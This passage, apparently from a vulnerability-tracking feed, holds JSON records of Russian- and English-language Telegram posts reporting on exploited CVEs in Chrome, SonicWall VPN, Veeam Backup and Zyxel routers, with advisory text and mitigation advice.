\u0432 ANGLE (Almost Native Graphics Layer Engine).\n\n\ud83d\uddc4\u0423\u0447\u0438\u0442\u044b\u0432\u0430\u044f, \u0447\u0442\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u0440\u0438\u0441\u0432\u043e\u0435\u043d \u0440\u0435\u0439\u0442\u0438\u043d\u0433 \u00ab\u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439\u00bb, \u0438 \u043e\u043d\u0430 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u0431\u0430\u0433 \u0442\u0438\u043f\u0430 type confusion, \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u0435\u0435 \u0432\u0441\u0435\u0433\u043e \u043e\u043d\u0430 \u043c\u043e\u0436\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u0438\u043b\u0438 \u043f\u043e\u0431\u0435\u0433\u0430 \u0438\u0437 \u043f\u0435\u0441\u043e\u0447\u043d\u0438\u0446\u044b \u043f\u0440\u0438 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043d\u043e\u043c \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0438 \u0441 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c. \u0421\u0442\u043e\u0438\u0442 \u0441\u043a\u0430\u0437\u0430\u0442\u044c, \u0447\u0442\u043e \u0437\u0430 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0435 \u0433\u043e\u0434\u044b \u043b\u0438\u0448\u044c \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 Chrome \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u0441\u0442\u0430\u0442\u0443\u0441 \u00ab\u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445\u00bb.\n\n\ud83d\uddc4Google \u043f\u043e\u0431\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u0438\u043b\u0430 \u0437\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0435 CVE-2024-4058 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u043e\u0432 \u0438\u0437 \u0433\u0440\u0443\u043f\u043f\u044b Qrious Secure. \u0417\u0430 \u0441\u0432\u043e\u0438 \u043d\u0430\u0445\u043e\u0434\u043a\u0438 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u0432\u043e\u0437\u043d\u0430\u0433\u0440\u0430\u0436\u0434\u0435\u043d\u0438\u0435 \u0432 \u0440\u0430\u0437\u043c\u0435\u0440\u0435 16 000 \u0434\u043e\u043b\u043b\u0430\u0440\u043e\u0432.\n\n\ud83d\uddc4\u0422\u0430\u043a\u0436\u0435 Qrious Secure \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0430 Google \u0435\u0449\u0435 \u043a\u0430\u043a \u043c\u0438\u043d\u0438\u043c\u0443\u043c \u043e \u0434\u0432\u0443\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u0445 \u0432 Chrome: CVE-2024-0517, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0434\u043e\u043f\u0443\u0441\u043a\u0430\u0435\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u0434\u0430, \u0438 CVE-2024-0223, \u043a\u043e\u0442\u043e\u0440\u0430\u044f, \u043f\u043e \u0441\u043b\u043e\u0432\u0430\u043c \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439, \u00ab\u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u043d\u0435\u043f\u043e\u0441\u0440\u0435\u0434\u0441\u0442\u0432\u0435\u043d\u043d\u043e \u0447\u0435\u0440\u0435\u0437 JavaScript, \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 GPU\u00bb. \u041e\u0431\u0435 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u0431\u044b\u043b\u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u044b \u0432 \u043d\u0430\u0447\u0430\u043b\u0435 \u0442\u0435\u043a\u0443\u0449\u0435\u0433\u043e \u0433\u043e\u0434\u0430.\n\n\ud83d\uddc4Google \u043d\u0435 \u0441\u043e\u043e\u0431\u0449\u0430\u0435\u0442 \u043e \u0442\u043e\u043c, \u0447\u0442\u043e CVE-2024-4058 \u0443\u0436\u0435 \u043c\u043e\u0436\u0435\u0442 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0445\u0430\u043a\u0435\u0440\u0430\u043c\u0438. \u041e\u0434\u043d\u0430\u043a\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043d\u0435\u0440\u0435\u0434\u043a\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0442 \u043e\u0448\u0438\u0431\u043a\u0438 \u0442\u0438\u043f\u0430 confusion, \u043d\u0430\u0439\u0434\u0435\u043d\u043d\u044b\u0435 \u0432 Chrome, \u0445\u043e\u0442\u044f \u0447\u0430\u0449\u0435 \u0442\u0430\u043a\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0442 JavaScript-\u0434\u0432\u0438\u0436\u043e\u043a V8.\n\n@linuxkalii", "creation_timestamp": "2026-07-26T00:00:13.025128Z"}, {"uuid": "607043dd-c9ef-4f58-acdc-6f56883a405e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40766", "type": "seen", "source": "https://t.me/ZerodayAlert/365", "content": "CVE-2024-40766: \u043a\u0430\u043a \u043e\u0434\u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u0438\u043b\u0430 \u0434\u0432\u0435 \u0445\u0430\u043a\u0435\u0440\u0441\u043a\u0438\u0435 \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0438\n\n\ud83d\udd13 \u0425\u0430\u043a\u0435\u0440\u0441\u043a\u0438\u0435 \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0438 Akira \u0438 Fog \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0442 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2024-40766 \u0432 SonicWall VPN. Arctic Wolf \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043b\u0430 \u043d\u0435 \u043c\u0435\u043d\u0435\u0435 30 \u0430\u0442\u0430\u043a \u0447\u0435\u0440\u0435\u0437 VPN-\u0430\u043a\u043a\u0430\u0443\u043d\u0442\u044b SonicWall, \u043f\u0440\u0438\u0447\u0435\u043c 75% \u0438\u0437 \u043d\u0438\u0445 \u0441\u0432\u044f\u0437\u0430\u043d\u044b \u0441 Akira.\n\n\u26a1\ufe0f \u0412\u0440\u0435\u043c\u044f \u043c\u0435\u0436\u0434\u0443 \u043f\u0440\u043e\u043d\u0438\u043a\u043d\u043e\u0432\u0435\u043d\u0438\u0435\u043c \u0438 \u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0434\u0430\u043d\u043d\u044b\u0445 \u0441\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u043e\u0442 1,5 \u0434\u043e 10 \u0447\u0430\u0441\u043e\u0432, \u043f\u0440\u0438 \u044d\u0442\u043e\u043c \u0445\u0430\u043a\u0435\u0440\u044b \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u043e\u0431\u0449\u0443\u044e \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443. \u0410\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0435 \u0446\u0435\u043b\u0435\u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u043e \u0432\u044b\u0431\u0438\u0440\u0430\u044e\u0442 \u0441\u0432\u0435\u0436\u0438\u0435 \u0434\u0430\u043d\u043d\u044b\u0435, \u0438\u0433\u043d\u043e\u0440\u0438\u0440\u0443\u044f \u0444\u0430\u0439\u043b\u044b \u0441\u0442\u0430\u0440\u0448\u0435 6 \u043c\u0435\u0441\u044f\u0446\u0435\u0432.\n\n\ud83d\udee1 \u0411\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u043e \u0430\u0442\u0430\u043a \u0441\u0442\u0430\u043b\u043e \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u044b\u043c \u0438\u0437-\u0437\u0430 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u044f \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0439 SonicOS \u0438 \u043c\u043d\u043e\u0433\u043e\u0444\u0430\u043a\u0442\u043e\u0440\u043d\u043e\u0439 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438. \u0425\u0430\u043a\u0435\u0440\u044b \u0442\u0430\u043a\u0436\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 VPN \u0438 VPS \u0434\u043b\u044f \u043c\u0430\u0441\u043a\u0438\u0440\u043e\u0432\u043a\u0438 \u0441\u0432\u043e\u0438\u0445 IP-\u0430\u0434\u0440\u0435\u0441\u043e\u0432, \u0447\u0442\u043e \u0443\u0441\u043b\u043e\u0436\u043d\u044f\u0435\u0442 \u0438\u0445 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0435.\n\n#sonicwall #\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c #\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043b\u044c\u0449\u0438\u043a\u0438 #\u0432\u0437\u043b\u043e\u043c\n\n@ZerodayAlert", "creation_timestamp": "2026-07-26T00:00:44.628294Z"}, {"uuid": "5b1376e9-d4d0-4bcf-868a-08e6315080b3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40711", "type": "seen", "source": "https://t.me/cyberwarehouse/562", "content": "\u200aRansomware operators exploited Veeam Backup & Replication flaw CVE-2024-40711 in recent attacks\n\nhttps://securityaffairs.com/169679/cyber-crime/ransomware-groups-exploit-veeam-backup-replication-bug.html", "creation_timestamp": "2026-07-26T02:00:18.036590Z"}, {"uuid": "ccaa3d7e-0658-47a0-b45e-76c44a511cd0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40711", "type": "seen", "source": "https://t.me/cyberwarehouse/523", "content": "https://github.com/watchtowrlabs/CVE-2024-40711", "creation_timestamp": "2026-07-26T02:00:18.578871Z"}, {"uuid": "3cfb07a9-e01d-4534-8630-4a16de0e2f4b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40891", "type": "seen", "source": "https://t.me/EchelonEyes/3606", "content": "\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0440\u043e\u0443\u0442\u0435\u0440\u0430\u0445 Zyxel CPE, \u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0439 \u043d\u0435\u0442\n\n\u0415\u0449\u0435 \u043b\u0435\u0442\u043e\u043c 2024 \u0433\u043e\u0434\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u0430\u044f \u043a\u0430\u043a CVE-2024-40891 (BDU:2025-0088), \u0431\u044b\u043b\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u0432 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445 Zyxel \u0441\u0435\u0440\u0438\u0438 CPE. \u0424\u0421\u0422\u042d\u041a \u0420\u043e\u0441\u0441\u0438\u0438 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u0435\u0442, \u0447\u0442\u043e \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u0443 \u0431\u044b\u043b\u0430 \u0434\u0430\u043d\u0430 \u043e\u0446\u0435\u043d\u043a\u0430 CVSS 10 \u0438\u0437 10, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u044b \u0441\u043b\u0443\u0447\u0430\u0438 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438, \u043e\u0434\u043d\u0430\u043a\u043e \u043d\u0435\u0432\u0437\u0438\u0440\u0430\u044f \u043d\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044c \u0442\u0430\u043a \u0438 \u043d\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u043b \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0443. \n\n\u00ab\u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u043d\u0430\u0440\u0443\u0448\u0438\u0442\u0435\u043b\u044e, \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u043c\u0443 \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e, \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0441 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 \u00absupervisor\u00bb \u0438\u043b\u0438 \u00abzyuser\u00bb \u043f\u0443\u0442\u0451\u043c \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0438 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0441\u0435\u0442\u0435\u0432\u044b\u0445 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u043f\u043e \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0443 telnet\u00bb, - \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u0435\u0442 \u0440\u0435\u0433\u0443\u043b\u044f\u0442\u043e\u0440 \u0440\u043e\u0441\u0441\u0438\u0439\u0441\u043a\u0438\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439.\n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 Censys, \u0432 \u0441\u0435\u0442\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043e \u0431\u043e\u043b\u0435\u0435 1500 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0442\u043e\u0440\u043e\u0432 Zyxel CPE, \u0431\u043e\u043b\u044c\u0448\u0430\u044f \u0447\u0430\u0441\u0442\u044c \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u043d\u0430 \u0424\u0438\u043b\u0438\u043f\u043f\u0438\u043d\u0430\u0445, \u0432 \u0422\u0443\u0440\u0446\u0438\u0438, \u0412\u0435\u043b\u0438\u043a\u043e\u0431\u0440\u0438\u0442\u0430\u043d\u0438\u0438 \u0438 \u0424\u0440\u0430\u043d\u0446\u0438\u0438. \u0425\u043e\u0442\u044f \u0432 \u0420\u043e\u0441\u0441\u0438\u0438 \u0434\u0430\u043d\u043d\u044b\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 \u043c\u0435\u043d\u0435\u0435 \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u044b, \u0442\u0435\u043c \u043d\u0435 \u043c\u0435\u043d\u0435\u0435 \u043e\u043d\u0438 \u043c\u043e\u0433\u0443\u0442 \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u0442\u044c\u0441\u044f \u0443 \u043d\u0435\u0431\u043e\u043b\u044c\u0448\u0438\u0445 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0439, \u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u043e\u0432 \u0441\u0432\u044f\u0437\u0438, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0447\u0430\u0441\u0442\u043d\u044b\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439, \u043f\u0438\u0448\u0435\u0442 Tadviser.\n\n\u0414\u043b\u044f \u0437\u0430\u0449\u0438\u0442\u044b \u0441\u0435\u0442\u0435\u0439 \u043e\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0424\u0421\u0422\u042d\u041a \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u043c\u0435\u0436\u0441\u0435\u0442\u0435\u0432\u044b\u0435 \u044d\u043a\u0440\u0430\u043d\u044b \u0434\u043b\u044f \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u043c\u0443 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0442\u043e\u0440\u0443, \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u00ab\u0431\u0435\u043b\u044b\u0439\u00bb \u0441\u043f\u0438\u0441\u043e\u043a IP-\u0430\u0434\u0440\u0435\u0441\u043e\u0432 \u0434\u043b\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0440\u043e\u0443\u0442\u0435\u0440\u0443 \u0438 \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u0442\u044c \u0437\u0430\u0449\u0438\u0449\u0435\u043d\u043d\u044b\u0435 \u043a\u043e\u043c\u043c\u0443\u043d\u0438\u043a\u0430\u0446\u0438\u0438 \u0434\u043b\u044f \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430.\n\n\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a: https://t.me/bdufstecru/2177 \n\n#\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c #\u0424\u0421\u0422\u042d\u041a", "creation_timestamp": "2026-07-26T02:01:58.906054Z"}, {"uuid": "b8bc1815-b747-4e61-9fa5-3c5596767801", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40711", "type": "exploited", "source": "https://t.me/cyberwarehouse/562", "content": "\u200aRansomware operators exploited Veeam Backup & Replication flaw CVE-2024-40711 in recent attacks\n\nhttps://securityaffairs.com/169679/cyber-crime/ransomware-groups-exploit-veeam-backup-replication-bug.html", "creation_timestamp": "2026-07-27T00:00:24.944564Z"}, {"uuid": "ddd21122-ab28-4791-81c0-d476595636cc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40711", "type": "published-proof-of-concept", "source": "https://t.me/cyberwarehouse/523", "content": "https://github.com/watchtowrlabs/CVE-2024-40711", "creation_timestamp": "2026-07-27T00:00:24.355904Z"}, {"uuid": "d0a37a47-ec05-4efa-91be-53a70faa3266", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40891", "type": "seen", "source": "https://t.me/EchelonEyes/3606", "content": "\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0440\u043e\u0443\u0442\u0435\u0440\u0430\u0445 Zyxel CPE, \u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0439 \u043d\u0435\u0442\n\n\u0415\u0449\u0435 \u043b\u0435\u0442\u043e\u043c 2024 \u0433\u043e\u0434\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u0430\u044f \u043a\u0430\u043a CVE-2024-40891 (BDU:2025-0088), \u0431\u044b\u043b\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u0432 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445 Zyxel \u0441\u0435\u0440\u0438\u0438 CPE. \u0424\u0421\u0422\u042d\u041a \u0420\u043e\u0441\u0441\u0438\u0438 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u0435\u0442, \u0447\u0442\u043e \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u0443 \u0431\u044b\u043b\u0430 \u0434\u0430\u043d\u0430 \u043e\u0446\u0435\u043d\u043a\u0430 CVSS 10 \u0438\u0437 10, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u044b \u0441\u043b\u0443\u0447\u0430\u0438 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438, \u043e\u0434\u043d\u0430\u043a\u043e \u043d\u0435\u0432\u0437\u0438\u0440\u0430\u044f \u043d\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044c \u0442\u0430\u043a \u0438 \u043d\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u043b \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0443. \n\n\u00ab\u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u043d\u0430\u0440\u0443\u0448\u0438\u0442\u0435\u043b\u044e, \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u043c\u0443 \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e, \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0441 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 \u00absupervisor\u00bb \u0438\u043b\u0438 \u00abzyuser\u00bb \u043f\u0443\u0442\u0451\u043c \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0438 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0441\u0435\u0442\u0435\u0432\u044b\u0445 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u043f\u043e \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0443 telnet\u00bb, - \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u0435\u0442 \u0440\u0435\u0433\u0443\u043b\u044f\u0442\u043e\u0440 \u0440\u043e\u0441\u0441\u0438\u0439\u0441\u043a\u0438\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439.\n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 Censys, \u0432 \u0441\u0435\u0442\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043e \u0431\u043e\u043b\u0435\u0435 1500 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0442\u043e\u0440\u043e\u0432 Zyxel CPE, \u0431\u043e\u043b\u044c\u0448\u0430\u044f \u0447\u0430\u0441\u0442\u044c \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u043d\u0430 \u0424\u0438\u043b\u0438\u043f\u043f\u0438\u043d\u0430\u0445, \u0432 \u0422\u0443\u0440\u0446\u0438\u0438, \u0412\u0435\u043b\u0438\u043a\u043e\u0431\u0440\u0438\u0442\u0430\u043d\u0438\u0438 \u0438 \u0424\u0440\u0430\u043d\u0446\u0438\u0438. \u0425\u043e\u0442\u044f \u0432 \u0420\u043e\u0441\u0441\u0438\u0438 \u0434\u0430\u043d\u043d\u044b\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 \u043c\u0435\u043d\u0435\u0435 \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u044b, \u0442\u0435\u043c \u043d\u0435 \u043c\u0435\u043d\u0435\u0435 \u043e\u043d\u0438 \u043c\u043e\u0433\u0443\u0442 \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u0442\u044c\u0441\u044f \u0443 \u043d\u0435\u0431\u043e\u043b\u044c\u0448\u0438\u0445 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0439, \u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u043e\u0432 \u0441\u0432\u044f\u0437\u0438, \u0430 \u0442\u0430\u043a\u0436\u0435 